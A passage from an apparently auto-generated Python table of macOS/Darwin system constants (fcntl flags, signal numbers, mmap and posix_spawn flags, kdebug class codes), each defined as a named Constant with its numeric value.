Constant('F_GETLKPID',66) F_SETBACKINGSTORE = Constant('F_SETBACKINGSTORE',70) F_GETPATH_MTMINFO = Constant('F_GETPATH_MTMINFO',71) F_GETCODEDIR = Constant('F_GETCODEDIR',72) F_SETNOSIGPIPE = Constant('F_SETNOSIGPIPE',73) F_GETNOSIGPIPE = Constant('F_GETNOSIGPIPE',74) F_TRANSCODEKEY = Constant('F_TRANSCODEKEY',75) F_SINGLE_WRITER = Constant('F_SINGLE_WRITER',76) F_GETPROTECTIONLEVEL = Constant('F_GETPROTECTIONLEVEL',77) F_FINDSIGS = Constant('F_FINDSIGS',78) F_ADDFILESIGS_FOR_DYLD_SIM = Constant('F_ADDFILESIGS_FOR_DYLD_SIM',83) F_BARRIERFSYNC = Constant('F_BARRIERFSYNC',85) F_OFD_SETLK = Constant('F_OFD_SETLK',90) F_OFD_SETLKW = Constant('F_OFD_SETLKW',91) F_OFD_GETLK = Constant('F_OFD_GETLK',92) F_OFD_SETLKWTIMEOUT = Constant('F_OFD_SETLKWTIMEOUT',93) F_ADDFILESIGS_RETURN = Constant('F_ADDFILESIGS_RETURN',97) F_CHECK_LV = Constant('F_CHECK_LV',98) F_PUNCHHOLE = Constant('F_PUNCHHOLE',99) F_TRIM_ACTIVE_FILE = Constant('F_TRIM_ACTIVE_FILE',100) F_SPECULATIVE_READ = Constant('F_SPECULATIVE_READ',101) F_GETPATH_NOFIRMLINK = Constant('F_GETPATH_NOFIRMLINK',102) F_ADDFILESIGS_INFO = Constant('F_ADDFILESIGS_INFO',103) F_ADDFILESUPPL = Constant('F_ADDFILESUPPL',104) F_GETSIGSINFO = Constant('F_GETSIGSINFO',105) F_SETLEASE = Constant('F_SETLEASE',106) F_GETLEASE = Constant('F_GETLEASE',107) F_TRANSFEREXTENTS = Constant('F_TRANSFEREXTENTS',110) F_ATTRIBUTION_TAG = Constant('F_ATTRIBUTION_TAG',111) F_ADDSIGS_MAIN_BINARY = Constant('F_ADDSIGS_MAIN_BINARY',113) FCNTL_FS_SPECIFIC_BASE = Constant('FCNTL_FS_SPECIFIC_BASE',0x00010000) F_DUPFD_CLOEXEC = Constant('F_DUPFD_CLOEXEC',67) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_WRLCK = Constant('F_WRLCK',3) F_WAIT = Constant('F_WAIT',0x010) F_FLOCK = Constant('F_FLOCK',0x020) F_POSIX = Constant('F_POSIX',0x040) F_PROV = Constant('F_PROV',0x080) F_WAKE1_SAFE = Constant('F_WAKE1_SAFE',0x100) F_ABORT = Constant('F_ABORT',0x200) F_OFD_LOCK = Constant('F_OFD_LOCK',0x400) F_TRANSFER = Constant('F_TRANSFER',0x800) F_CONFINED = Constant('F_CONFINED',0x1000) F_ALLOCATECONTIG = Constant('F_ALLOCATECONTIG',0x00000002) F_ALLOCATEALL = Constant('F_ALLOCATEALL',0x00000004) F_ALLOCATEPERSIST = Constant('F_ALLOCATEPERSIST',0x00000008) F_PEOFPOSMODE = Constant('F_PEOFPOSMODE',3) F_VOLPOSMODE = Constant('F_VOLPOSMODE',4) USER_FSIGNATURES_CDHASH_LEN = Constant('USER_FSIGNATURES_CDHASH_LEN',20) GETSIGSINFO_PLATFORM_BINARY = Constant('GETSIGSINFO_PLATFORM_BINARY',1) LOCK_SH = Constant('LOCK_SH',0x01) LOCK_EX = Constant('LOCK_EX',0x02) LOCK_NB = Constant('LOCK_NB',0x04) LOCK_UN = Constant('LOCK_UN',0x08) ATTRIBUTION_NAME_MAX = Constant('ATTRIBUTION_NAME_MAX',255) F_CREATE_TAG = Constant('F_CREATE_TAG',0x00000001) F_DELETE_TAG = Constant('F_DELETE_TAG',0x00000002) F_QUERY_TAG = Constant('F_QUERY_TAG',0x00000004) O_POPUP = Constant('O_POPUP',0x80000000) O_ALERT = Constant('O_ALERT',0x20000000) S_BLKSIZE = Constant('S_BLKSIZE',512) UF_SETTABLE = Constant('UF_SETTABLE',0x0000ffff) UF_NODUMP = Constant('UF_NODUMP',0x00000001) UF_IMMUTABLE = Constant('UF_IMMUTABLE',0x00000002) UF_APPEND = Constant('UF_APPEND',0x00000004) UF_OPAQUE = Constant('UF_OPAQUE',0x00000008) UF_COMPRESSED = Constant('UF_COMPRESSED',0x00000020) UF_TRACKED = Constant('UF_TRACKED',0x00000040) UF_DATAVAULT = Constant('UF_DATAVAULT',0x00000080) UF_HIDDEN = Constant('UF_HIDDEN',0x00008000) SF_SUPPORTED = Constant('SF_SUPPORTED',0x009f0000) SF_SETTABLE = Constant('SF_SETTABLE',0x3fff0000) SF_SYNTHETIC = Constant('SF_SYNTHETIC',0xc0000000) SF_ARCHIVED = Constant('SF_ARCHIVED',0x00010000) SF_IMMUTABLE = Constant('SF_IMMUTABLE',0x00020000) SF_APPEND = Constant('SF_APPEND',0x00040000) SF_RESTRICTED = Constant('SF_RESTRICTED',0x00080000) SF_NOUNLINK = Constant('SF_NOUNLINK',0x00100000) SF_FIRMLINK = Constant('SF_FIRMLINK',0x00800000) SF_DATALESS = Constant('SF_DATALESS',0x40000000) EF_MAY_SHARE_BLOCKS = Constant('EF_MAY_SHARE_BLOCKS',0x00000001) EF_NO_XATTRS = Constant('EF_NO_XATTRS',0x00000002) EF_IS_SYNC_ROOT = Constant('EF_IS_SYNC_ROOT',0x00000004) EF_IS_PURGEABLE = Constant('EF_IS_PURGEABLE',0x00000008) EF_IS_SPARSE = Constant('EF_IS_SPARSE',0x00000010) EF_IS_SYNTHETIC = Constant('EF_IS_SYNTHETIC',0x00000020) EF_SHARES_ALL_BLOCKS = Constant('EF_SHARES_ALL_BLOCKS',0x00000040) MBUF_COPYALL = Constant('MBUF_COPYALL',1000000000) __DARWIN_NSIG = Constant('__DARWIN_NSIG',32) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGPOLL = Constant('SIGPOLL',7) SIGEMT = Constant('SIGEMT',7) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGBUS = Constant('SIGBUS',10) SIGSEGV = Constant('SIGSEGV',11) SIGSYS = Constant('SIGSYS',12) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGURG = Constant('SIGURG',16) SIGSTOP = Constant('SIGSTOP',17) SIGTSTP = Constant('SIGTSTP',18) SIGCONT = Constant('SIGCONT',19) SIGCHLD = Constant('SIGCHLD',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGIO = Constant('SIGIO',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGINFO = Constant('SIGINFO',29) SIGUSR1 = Constant('SIGUSR1',30) SIGUSR2 = Constant('SIGUSR2',31) SIGEV_NONE = Constant('SIGEV_NONE',0) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',1) SIGEV_THREAD = Constant('SIGEV_THREAD',3) ILL_NOOP = Constant('ILL_NOOP',0) ILL_ILLOPC = Constant('ILL_ILLOPC',1) ILL_ILLTRP = Constant('ILL_ILLTRP',2) ILL_PRVOPC = Constant('ILL_PRVOPC',3) ILL_ILLOPN = Constant('ILL_ILLOPN',4) ILL_ILLADR = Constant('ILL_ILLADR',5) ILL_PRVREG = Constant('ILL_PRVREG',6) ILL_COPROC = Constant('ILL_COPROC',7) ILL_BADSTK = Constant('ILL_BADSTK',8) FPE_NOOP = Constant('FPE_NOOP',0) FPE_FLTDIV = Constant('FPE_FLTDIV',1) FPE_FLTOVF = Constant('FPE_FLTOVF',2) FPE_FLTUND = Constant('FPE_FLTUND',3) FPE_FLTRES = Constant('FPE_FLTRES',4) FPE_FLTINV = Constant('FPE_FLTINV',5) FPE_FLTSUB = Constant('FPE_FLTSUB',6) FPE_INTDIV = Constant('FPE_INTDIV',7) FPE_INTOVF = Constant('FPE_INTOVF',8) SEGV_NOOP = Constant('SEGV_NOOP',0) SEGV_MAPERR = Constant('SEGV_MAPERR',1) SEGV_ACCERR = Constant('SEGV_ACCERR',2) BUS_NOOP = Constant('BUS_NOOP',0) BUS_ADRALN = Constant('BUS_ADRALN',1) BUS_ADRERR = Constant('BUS_ADRERR',2) BUS_OBJERR = Constant('BUS_OBJERR',3) TRAP_BRKPT = Constant('TRAP_BRKPT',1) TRAP_TRACE = Constant('TRAP_TRACE',2) CLD_NOOP = Constant('CLD_NOOP',0) CLD_EXITED = Constant('CLD_EXITED',1) CLD_KILLED = Constant('CLD_KILLED',2) CLD_DUMPED = Constant('CLD_DUMPED',3) CLD_TRAPPED = Constant('CLD_TRAPPED',4) CLD_STOPPED = Constant('CLD_STOPPED',5) CLD_CONTINUED = Constant('CLD_CONTINUED',6) POLL_IN = Constant('POLL_IN',1) POLL_OUT = Constant('POLL_OUT',2) POLL_MSG = Constant('POLL_MSG',3) POLL_ERR = Constant('POLL_ERR',4) POLL_PRI = Constant('POLL_PRI',5) POLL_HUP = Constant('POLL_HUP',6) SA_ONSTACK = Constant('SA_ONSTACK',0x0001) SA_RESTART = Constant('SA_RESTART',0x0002) SA_RESETHAND = Constant('SA_RESETHAND',0x0004) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x0008) SA_NODEFER = Constant('SA_NODEFER',0x0010) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x0020) SA_SIGINFO = Constant('SA_SIGINFO',0x0040) SA_USERTRAMP = Constant('SA_USERTRAMP',0x0100) SA_64REGSET = Constant('SA_64REGSET',0x0200) SIG_BLOCK = Constant('SIG_BLOCK',1) SIG_UNBLOCK = Constant('SIG_UNBLOCK',2) SIG_SETMASK = Constant('SIG_SETMASK',3) SI_USER = Constant('SI_USER',0x10001) SI_QUEUE = Constant('SI_QUEUE',0x10002) SI_TIMER = Constant('SI_TIMER',0x10003) SI_ASYNCIO = Constant('SI_ASYNCIO',0x10004) SI_MESGQ = Constant('SI_MESGQ',0x10005) SS_ONSTACK = Constant('SS_ONSTACK',0x0001) SS_DISABLE = Constant('SS_DISABLE',0x0004) MINSIGSTKSZ = Constant('MINSIGSTKSZ',32768) SIGSTKSZ = Constant('SIGSTKSZ',131072) __DARWIN_MAXNAMLEN = Constant('__DARWIN_MAXNAMLEN',255) __DARWIN_MAXPATHLEN = Constant('__DARWIN_MAXPATHLEN',1024) DT_UNKNOWN = Constant('DT_UNKNOWN',0) DT_FIFO = Constant('DT_FIFO',1) DT_CHR = Constant('DT_CHR',2) DT_DIR = Constant('DT_DIR',4) DT_BLK = Constant('DT_BLK',6) DT_REG = Constant('DT_REG',8) DT_LNK = Constant('DT_LNK',10) DT_SOCK = Constant('DT_SOCK',12) DT_WHT = Constant('DT_WHT',14) POSIX_SPAWN_RESETIDS = Constant('POSIX_SPAWN_RESETIDS',0x0001) POSIX_SPAWN_SETPGROUP = Constant('POSIX_SPAWN_SETPGROUP',0x0002) POSIX_SPAWN_SETSIGDEF = Constant('POSIX_SPAWN_SETSIGDEF',0x0004) POSIX_SPAWN_SETSIGMASK = Constant('POSIX_SPAWN_SETSIGMASK',0x0008) POSIX_SPAWN_SETSCHEDPARAM = Constant('POSIX_SPAWN_SETSCHEDPARAM',0x0010) POSIX_SPAWN_SETSCHEDULER = Constant('POSIX_SPAWN_SETSCHEDULER',0x0020) POSIX_SPAWN_SETEXEC = Constant('POSIX_SPAWN_SETEXEC',0x0040) POSIX_SPAWN_START_SUSPENDED = Constant('POSIX_SPAWN_START_SUSPENDED',0x0080) POSIX_SPAWN_SETSID = Constant('POSIX_SPAWN_SETSID',0x0400) POSIX_SPAWN_CLOEXEC_DEFAULT = Constant('POSIX_SPAWN_CLOEXEC_DEFAULT',0x4000) _POSIX_SPAWN_RESLIDE = Constant('_POSIX_SPAWN_RESLIDE',0x0800) POSIX_SPAWN_PCONTROL_NONE = Constant('POSIX_SPAWN_PCONTROL_NONE',0x0000) POSIX_SPAWN_PCONTROL_THROTTLE = Constant('POSIX_SPAWN_PCONTROL_THROTTLE',0x0001) POSIX_SPAWN_PCONTROL_SUSPEND = Constant('POSIX_SPAWN_PCONTROL_SUSPEND',0x0002) POSIX_SPAWN_PCONTROL_KILL = Constant('POSIX_SPAWN_PCONTROL_KILL',0x0003) POSIX_SPAWN_PANIC_ON_CRASH = Constant('POSIX_SPAWN_PANIC_ON_CRASH',0x1) POSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT = Constant('POSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT',0x2) POSIX_SPAWN_PANIC_ON_EXIT = Constant('POSIX_SPAWN_PANIC_ON_EXIT',0x4) POSIX_SPAWN_PANIC_ON_SPAWN_FAIL = Constant('POSIX_SPAWN_PANIC_ON_SPAWN_FAIL',0x8) PROT_NONE = Constant('PROT_NONE',0x00) PROT_READ = Constant('PROT_READ',0x01) PROT_WRITE = Constant('PROT_WRITE',0x02) PROT_EXEC = Constant('PROT_EXEC',0x04) MAP_SHARED = Constant('MAP_SHARED',0x0001) MAP_PRIVATE = Constant('MAP_PRIVATE',0x0002) MAP_FIXED = Constant('MAP_FIXED',0x0010) MAP_RENAME = Constant('MAP_RENAME',0x0020) MAP_NORESERVE = Constant('MAP_NORESERVE',0x0040) MAP_RESERVED0080 = Constant('MAP_RESERVED0080',0x0080) MAP_NOEXTEND = Constant('MAP_NOEXTEND',0x0100) MAP_HASSEMAPHORE = Constant('MAP_HASSEMAPHORE',0x0200) MAP_NOCACHE = Constant('MAP_NOCACHE',0x0400) MAP_JIT = Constant('MAP_JIT',0x0800) MAP_FILE = Constant('MAP_FILE',0x0000) MAP_ANON = Constant('MAP_ANON',0x1000) MAP_RESILIENT_CODESIGN = Constant('MAP_RESILIENT_CODESIGN',0x2000) MAP_RESILIENT_MEDIA = Constant('MAP_RESILIENT_MEDIA',0x4000) MAP_32BIT = Constant('MAP_32BIT',0x8000) MAP_TRANSLATED_ALLOW_EXECUTE = Constant('MAP_TRANSLATED_ALLOW_EXECUTE',0x20000) MAP_UNIX03 = Constant('MAP_UNIX03',0x40000) MAP_TPRO = Constant('MAP_TPRO',0x80000) MCL_CURRENT = Constant('MCL_CURRENT',0x0001) MCL_FUTURE = Constant('MCL_FUTURE',0x0002) MS_ASYNC = Constant('MS_ASYNC',0x0001) MS_INVALIDATE = Constant('MS_INVALIDATE',0x0002) MS_SYNC = Constant('MS_SYNC',0x0010) MS_KILLPAGES = Constant('MS_KILLPAGES',0x0004) MS_DEACTIVATE = Constant('MS_DEACTIVATE',0x0008) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',1) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',2) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',4) MADV_FREE = Constant('MADV_FREE',5) MADV_ZERO_WIRED_PAGES = Constant('MADV_ZERO_WIRED_PAGES',6) MADV_FREE_REUSABLE = Constant('MADV_FREE_REUSABLE',7) MADV_FREE_REUSE = Constant('MADV_FREE_REUSE',8) MADV_CAN_REUSE = Constant('MADV_CAN_REUSE',9) MADV_PAGEOUT = Constant('MADV_PAGEOUT',10) MADV_ZERO = Constant('MADV_ZERO',11) MINCORE_INCORE = Constant('MINCORE_INCORE',0x1) MINCORE_REFERENCED = Constant('MINCORE_REFERENCED',0x2) MINCORE_MODIFIED = Constant('MINCORE_MODIFIED',0x4) MINCORE_REFERENCED_OTHER = Constant('MINCORE_REFERENCED_OTHER',0x8) MINCORE_MODIFIED_OTHER = Constant('MINCORE_MODIFIED_OTHER',0x10) MINCORE_PAGED_OUT = Constant('MINCORE_PAGED_OUT',0x20) MINCORE_COPIED = Constant('MINCORE_COPIED',0x40) MINCORE_ANONYMOUS = Constant('MINCORE_ANONYMOUS',0x80) B_WRITE = Constant('B_WRITE',0x00000000) B_READ = Constant('B_READ',0x00000001) B_ASYNC = Constant('B_ASYNC',0x00000002) B_NOCACHE = Constant('B_NOCACHE',0x00000004) B_DELWRI = Constant('B_DELWRI',0x00000008) B_LOCKED = Constant('B_LOCKED',0x00000010) B_PHYS = Constant('B_PHYS',0x00000020) B_CLUSTER = Constant('B_CLUSTER',0x00000040) B_PAGEIO = Constant('B_PAGEIO',0x00000080) B_META = Constant('B_META',0x00000100) B_RAW = Constant('B_RAW',0x00000200) B_FUA = Constant('B_FUA',0x00000400) B_PASSIVE = Constant('B_PASSIVE',0x00000800) B_IOSTREAMING = Constant('B_IOSTREAMING',0x00001000) B_THROTTLED_IO = Constant('B_THROTTLED_IO',0x00002000) B_ENCRYPTED_IO = Constant('B_ENCRYPTED_IO',0x00004000) B_STATICCONTENT = Constant('B_STATICCONTENT',0x00008000) BUF_WAIT = Constant('BUF_WAIT',0x01) BUF_WRITE_DATA = Constant('BUF_WRITE_DATA',0x0001) BUF_SKIP_META = Constant('BUF_SKIP_META',0x0002) BUF_INVALIDATE_LOCKED = Constant('BUF_INVALIDATE_LOCKED',0x0004) BUF_SKIP_NONLOCKED = Constant('BUF_SKIP_NONLOCKED',0x01) BUF_SKIP_LOCKED = Constant('BUF_SKIP_LOCKED',0x02) BUF_SCAN_CLEAN = Constant('BUF_SCAN_CLEAN',0x04) BUF_SCAN_DIRTY = Constant('BUF_SCAN_DIRTY',0x08) BUF_NOTIFY_BUSY = Constant('BUF_NOTIFY_BUSY',0x10) BUF_RETURNED = Constant('BUF_RETURNED',0) BUF_RETURNED_DONE = Constant('BUF_RETURNED_DONE',1) BUF_CLAIMED = Constant('BUF_CLAIMED',2) BUF_CLAIMED_DONE = Constant('BUF_CLAIMED_DONE',3) BLK_READ = Constant('BLK_READ',0x01) BLK_WRITE = Constant('BLK_WRITE',0x02) BLK_META = Constant('BLK_META',0x10) BLK_ONLYVALID = Constant('BLK_ONLYVALID',0x80000000) LOG_EMERG = Constant('LOG_EMERG',0) LOG_ALERT = Constant('LOG_ALERT',1) LOG_CRIT = Constant('LOG_CRIT',2) LOG_ERR = Constant('LOG_ERR',3) LOG_WARNING = Constant('LOG_WARNING',4) LOG_NOTICE = Constant('LOG_NOTICE',5) LOG_INFO = Constant('LOG_INFO',6) LOG_DEBUG = Constant('LOG_DEBUG',7) LOG_PRIMASK = Constant('LOG_PRIMASK',0x07) INTERNAL_NOPRI = Constant('INTERNAL_NOPRI',0x10) LOG_NFACILITIES = Constant('LOG_NFACILITIES',25) LOG_FACMASK = Constant('LOG_FACMASK',0x03f8) LOG_PID = Constant('LOG_PID',0x01) LOG_CONS = Constant('LOG_CONS',0x02) LOG_ODELAY = Constant('LOG_ODELAY',0x04) LOG_NDELAY = Constant('LOG_NDELAY',0x08) LOG_NOWAIT = Constant('LOG_NOWAIT',0x10) LOG_PERROR = Constant('LOG_PERROR',0x20) CRF_NOMEMBERD = Constant('CRF_NOMEMBERD',0x00000001) CRF_MAC_ENFORCE = Constant('CRF_MAC_ENFORCE',0x00000002) XUCRED_VERSION = Constant('XUCRED_VERSION',0) DK_FEATURE_BARRIER = Constant('DK_FEATURE_BARRIER',0x00000002) DK_FEATURE_PRIORITY = Constant('DK_FEATURE_PRIORITY',0x00000004) DK_FEATURE_UNMAP = Constant('DK_FEATURE_UNMAP',0x00000010) DK_SYNCHRONIZE_OPTION_BARRIER = Constant('DK_SYNCHRONIZE_OPTION_BARRIER',0x00000002) DK_CORESTORAGE_PIN_YOUR_METADATA = Constant('DK_CORESTORAGE_PIN_YOUR_METADATA',0x00000001) DK_CORESTORAGE_ENABLE_HOTFILES = Constant('DK_CORESTORAGE_ENABLE_HOTFILES',0x00000002) DK_CORESTORAGE_PIN_YOUR_SWAPFILE = Constant('DK_CORESTORAGE_PIN_YOUR_SWAPFILE',0x00000004) DK_PROVISION_TYPE_MAPPED = Constant('DK_PROVISION_TYPE_MAPPED',0x00) DK_PROVISION_TYPE_DEALLOCATED = Constant('DK_PROVISION_TYPE_DEALLOCATED',0x01) DK_PROVISION_TYPE_ANCHORED = Constant('DK_PROVISION_TYPE_ANCHORED',0x02) DK_LOCATION_INTERNAL = Constant('DK_LOCATION_INTERNAL',0x00000000) DK_LOCATION_EXTERNAL = Constant('DK_LOCATION_EXTERNAL',0x00000001) DK_FEATURE_FORCE_UNIT_ACCESS = Constant('DK_FEATURE_FORCE_UNIT_ACCESS',0x00000001) DK_ENCRYPTION_TYPE_AES_CBC = Constant('DK_ENCRYPTION_TYPE_AES_CBC',1) DK_ENCRYPTION_TYPE_AES_XEX = Constant('DK_ENCRYPTION_TYPE_AES_XEX',2) DK_ENCRYPTION_TYPE_AES_XTS = Constant('DK_ENCRYPTION_TYPE_AES_XTS',3) DK_TIER_MASK = Constant('DK_TIER_MASK',0xC0) DK_TIER_SHIFT = Constant('DK_TIER_SHIFT',6) SOL_LOCAL = Constant('SOL_LOCAL',0) LOCAL_PEERCRED = Constant('LOCAL_PEERCRED',0x001) LOCAL_PEERPID = Constant('LOCAL_PEERPID',0x002) LOCAL_PEEREPID = Constant('LOCAL_PEEREPID',0x003) LOCAL_PEERUUID = Constant('LOCAL_PEERUUID',0x004) LOCAL_PEEREUUID = Constant('LOCAL_PEEREUUID',0x005) LOCAL_PEERTOKEN = Constant('LOCAL_PEERTOKEN',0x006) _SYS_TIMEX_H_ = Constant('_SYS_TIMEX_H_',1) NTP_API = Constant('NTP_API',4) MINSEC = Constant('MINSEC',256) MAXSEC = Constant('MAXSEC',2048) MAXTC = Constant('MAXTC',10) MOD_OFFSET = Constant('MOD_OFFSET',0x0001) MOD_FREQUENCY = Constant('MOD_FREQUENCY',0x0002) MOD_MAXERROR = Constant('MOD_MAXERROR',0x0004) MOD_ESTERROR = Constant('MOD_ESTERROR',0x0008) MOD_STATUS = Constant('MOD_STATUS',0x0010) MOD_TIMECONST = Constant('MOD_TIMECONST',0x0020) MOD_PPSMAX = Constant('MOD_PPSMAX',0x0040) MOD_TAI = Constant('MOD_TAI',0x0080) MOD_MICRO = Constant('MOD_MICRO',0x1000) MOD_NANO = Constant('MOD_NANO',0x2000) MOD_CLKB = Constant('MOD_CLKB',0x4000) MOD_CLKA = Constant('MOD_CLKA',0x8000) STA_PLL = Constant('STA_PLL',0x0001) STA_PPSFREQ = Constant('STA_PPSFREQ',0x0002) STA_PPSTIME = Constant('STA_PPSTIME',0x0004) STA_FLL = Constant('STA_FLL',0x0008) STA_INS = Constant('STA_INS',0x0010) STA_DEL = Constant('STA_DEL',0x0020) STA_UNSYNC = Constant('STA_UNSYNC',0x0040) STA_FREQHOLD = Constant('STA_FREQHOLD',0x0080) STA_PPSSIGNAL = Constant('STA_PPSSIGNAL',0x0100) STA_PPSJITTER = Constant('STA_PPSJITTER',0x0200) STA_PPSWANDER = Constant('STA_PPSWANDER',0x0400) STA_PPSERROR = Constant('STA_PPSERROR',0x0800) STA_CLOCKERR = Constant('STA_CLOCKERR',0x1000) STA_NANO = Constant('STA_NANO',0x2000) STA_MODE = Constant('STA_MODE',0x4000) STA_CLK = Constant('STA_CLK',0x8000) TIME_OK = Constant('TIME_OK',0) TIME_INS = Constant('TIME_INS',1) TIME_DEL = Constant('TIME_DEL',2) TIME_OOP = Constant('TIME_OOP',3) TIME_WAIT = Constant('TIME_WAIT',4) TIME_ERROR = Constant('TIME_ERROR',5) MT_FREE = Constant('MT_FREE',0) MT_DATA = Constant('MT_DATA',1) MT_HEADER = Constant('MT_HEADER',2) MT_SOCKET = Constant('MT_SOCKET',3) MT_PCB = Constant('MT_PCB',4) MT_RTABLE = Constant('MT_RTABLE',5) MT_HTABLE = Constant('MT_HTABLE',6) MT_ATABLE = Constant('MT_ATABLE',7) MT_SONAME = Constant('MT_SONAME',8) MT_SOOPTS = Constant('MT_SOOPTS',10) MT_FTABLE = Constant('MT_FTABLE',11) MT_RIGHTS = Constant('MT_RIGHTS',12) MT_IFADDR = Constant('MT_IFADDR',13) MT_CONTROL = Constant('MT_CONTROL',14) MT_OOBDATA = Constant('MT_OOBDATA',15) MT_TAG = Constant('MT_TAG',16) MT_MAX = Constant('MT_MAX',32) MAX_MBUF_CNAME = Constant('MAX_MBUF_CNAME',15) MCS_DISABLED = Constant('MCS_DISABLED',0) MCS_ONLINE = Constant('MCS_ONLINE',1) MCS_PURGING = Constant('MCS_PURGING',2) MCS_OFFLINE = Constant('MCS_OFFLINE',3) MSG_NOERROR = Constant('MSG_NOERROR',0o010000) MSGSSZ = Constant('MSGSSZ',8) MSGSEG = Constant('MSGSEG',2048) MSGMNB = Constant('MSGMNB',2048) MSGMNI = Constant('MSGMNI',40) MSGTQL = Constant('MSGTQL',40) MSG_LOCKED = Constant('MSG_LOCKED',0o01000) DBG_MACH = Constant('DBG_MACH',1) DBG_NETWORK = Constant('DBG_NETWORK',2) DBG_FSYSTEM = Constant('DBG_FSYSTEM',3) DBG_BSD = Constant('DBG_BSD',4) DBG_IOKIT = Constant('DBG_IOKIT',5) DBG_DRIVERS = Constant('DBG_DRIVERS',6) DBG_TRACE = Constant('DBG_TRACE',7) DBG_DLIL = Constant('DBG_DLIL',8) DBG_PTHREAD = Constant('DBG_PTHREAD',9) DBG_CORESTORAGE = Constant('DBG_CORESTORAGE',10) DBG_CG = Constant('DBG_CG',11) DBG_MONOTONIC = Constant('DBG_MONOTONIC',12) DBG_MISC = Constant('DBG_MISC',20) DBG_SECURITY = Constant('DBG_SECURITY',30) DBG_DYLD = Constant('DBG_DYLD',31) DBG_QT = Constant('DBG_QT',32) DBG_APPS = Constant('DBG_APPS',33) DBG_LAUNCHD = Constant('DBG_LAUNCHD',34) DBG_SILICON = Constant('DBG_SILICON',35) DBG_PERF = Constant('DBG_PERF',37) DBG_IMPORTANCE = Constant('DBG_IMPORTANCE',38) DBG_BANK = Constant('DBG_BANK',40) DBG_XPC = Constant('DBG_XPC',41) DBG_ATM = Constant('DBG_ATM',42) DBG_ARIADNE = Constant('DBG_ARIADNE',43) DBG_DAEMON = Constant('DBG_DAEMON',44) DBG_ENERGYTRACE = Constant('DBG_ENERGYTRACE',45) DBG_DISPATCH = Constant('DBG_DISPATCH',46) DBG_IMG = Constant('DBG_IMG',49) DBG_UMALLOC = Constant('DBG_UMALLOC',51) DBG_TURNSTILE = Constant('DBG_TURNSTILE',53) DBG_AUDIO = Constant('DBG_AUDIO',54) DBG_MIG = Constant('DBG_MIG',255) DBG_MACH_EXCP_KTRAP_x86 = Constant('DBG_MACH_EXCP_KTRAP_x86',0x02) DBG_MACH_EXCP_DFLT = Constant('DBG_MACH_EXCP_DFLT',0x03) DBG_MACH_EXCP_SYNC_ARM = Constant('DBG_MACH_EXCP_SYNC_ARM',0x03) DBG_MACH_EXCP_IFLT = Constant('DBG_MACH_EXCP_IFLT',0x04) DBG_MACH_EXCP_SERR_ARM = Constant('DBG_MACH_EXCP_SERR_ARM',0x04) DBG_MACH_EXCP_INTR = Constant('DBG_MACH_EXCP_INTR',0x05) DBG_MACH_EXCP_ALNG = Constant('DBG_MACH_EXCP_ALNG',0x06) DBG_MACH_EXCP_UTRAP_x86 = Constant('DBG_MACH_EXCP_UTRAP_x86',0x07) DBG_MACH_EXCP_FP = Constant('DBG_MACH_EXCP_FP',0x08) DBG_MACH_EXCP_DECI = Constant('DBG_MACH_EXCP_DECI',0x09) DBG_MACH_CHUD = Constant('DBG_MACH_CHUD',0x0A) DBG_MACH_SIGNPOST = Constant('DBG_MACH_SIGNPOST',0x0A) DBG_MACH_EXCP_SC = Constant('DBG_MACH_EXCP_SC',0x0C) DBG_MACH_EXCP_TRACE = Constant('DBG_MACH_EXCP_TRACE',0x0D) DBG_MACH_EXCP_EMUL = Constant('DBG_MACH_EXCP_EMUL',0x0E) DBG_MACH_IHDLR = Constant('DBG_MACH_IHDLR',0x10) DBG_MACH_IPC = Constant('DBG_MACH_IPC',0x20) DBG_MACH_RESOURCE = Constant('DBG_MACH_RESOURCE',0x25) DBG_MACH_EXCLAVES = Constant('DBG_MACH_EXCLAVES',0x2A) DBG_MACH_EXCLAVES_SCHEDULER = Constant('DBG_MACH_EXCLAVES_SCHEDULER',0x2B) DBG_MACH_EPOCH_SYNC = Constant('DBG_MACH_EPOCH_SYNC',0x2C) DBG_MACH_VM = Constant('DBG_MACH_VM',0x30) DBG_MACH_LEAKS = Constant('DBG_MACH_LEAKS',0x31) DBG_MACH_WORKINGSET = Constant('DBG_MACH_WORKINGSET',0x32) DBG_MACH_SCHED = Constant('DBG_MACH_SCHED',0x40) DBG_MACH_MSGID_INVALID = Constant('DBG_MACH_MSGID_INVALID',0x50) DBG_MACH_LOCKS = Constant('DBG_MACH_LOCKS',0x60) DBG_MACH_PMAP = Constant('DBG_MACH_PMAP',0x70) DBG_MACH_CLOCK = Constant('DBG_MACH_CLOCK',0x80) DBG_MACH_MP = Constant('DBG_MACH_MP',0x90) DBG_MACH_VM_PRESSURE = Constant('DBG_MACH_VM_PRESSURE',0xA0) DBG_MACH_STACKSHOT = Constant('DBG_MACH_STACKSHOT',0xA1) DBG_MACH_SFI = Constant('DBG_MACH_SFI',0xA2) DBG_MACH_ENERGY_PERF = Constant('DBG_MACH_ENERGY_PERF',0xA3) DBG_MACH_SYSDIAGNOSE = Constant('DBG_MACH_SYSDIAGNOSE',0xA4) DBG_MACH_ZALLOC = Constant('DBG_MACH_ZALLOC',0xA5) DBG_MACH_THREAD_GROUP = 